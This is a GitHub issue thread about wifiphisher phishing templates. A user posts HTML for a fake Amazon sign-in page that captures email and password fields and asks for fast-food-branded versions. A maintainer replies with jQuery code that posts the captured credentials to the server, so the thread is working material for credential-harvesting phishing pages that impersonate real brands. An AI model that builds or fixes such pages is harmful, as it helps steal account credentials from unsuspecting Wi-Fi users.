Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding new phishing pages getting data to submit to wifiphisher #12

Open
JavaRockstar opened this issue May 13, 2017 · 1 comment
Open

Comments

@JavaRockstar
Copy link

JavaRockstar commented May 13, 2017

Hi thanks for the great templates there really good and fun been testing a few out tonight and there working flawlessly I love to see more in the future for fast food such as burger king McDonald KFC i've been trying to make my own Ive added the required code in order for wifiphisher to recognize and output the users input text however I don't get anything to display in the terminal.

I was looking around and found your github and thought you may have some idea about it.

The follow page I'm creating was downloaded from github and I done a little editing and added the following code.

<div class="poz">
<img src="amazon.png"/>
</div>
<header class="container">
<form action="index.html" method="post">
<h1>Sign in</h1>
  <label for = "ap-email"><strong> Email (phone for mobile accounts)</strong> <br>
      <input type="text" name="wfphshr-amazon-email" size="20"
      maxlenght="30" />
  </label>
      
  <p><strong>Password</strong> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="password.html">Forgot your password?</a> <br>
      <input type="password" name="wfphshr-amazon-password"  size="20"
      maxlength="30" /> 
  </p>

  <div class="style-s">
      <button type="button">Sign in </button>
  </div>

I seen that you had included a script at the bottom of your Templates and I was wondering if this could be the problem that I will need to include something similar to this thanks a lot.

This is not an issue with any of your templates feel free to close whenever I could just really do with a heads up on it right now as there not much doc online and I thought you would be the best person to ask thanks in advance.

<script>
		  /*
		  Check the password field and act accordingly.
		  */

		  $("#btn").on("click", function(e) {
		      e.preventDefault();
		      // get the password box and checkbox elements
		      var input = document.getElementById("eml");
		      var input2 = document.getElementById("pwd");
		      // check to see if the value is empty
		      if ( input.value == "" ){
		          passNotValid();
		      }else if( input2.value == "" ){ //check if the value of the repeat field is empty
		          passNotValid();
		      }else{
		          // post the data
@blackHatMonkey
Copy link
Member

Hi @JavaRockstar Although you have the input fields and a button the button doesn't do anything from what I can see. The scripts that you see are JavaScript code that actually manipulates and sends the data. A side note the names of the text no longer has to contain the wfpshr value and it can be anything. On the script that you have provided on the bottom of the page you name to change the name for the inputs. So in this case it would be

var input = document.getElementById("wfphshr-amazon-email");

As for the posting the data you can easily do that with jQuery like so:

$.post( "index.html", { email: input, password: input2 } );

You can also do more checking such as if the email is correct and the length of the password as well. Hope that helps 😄 .

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants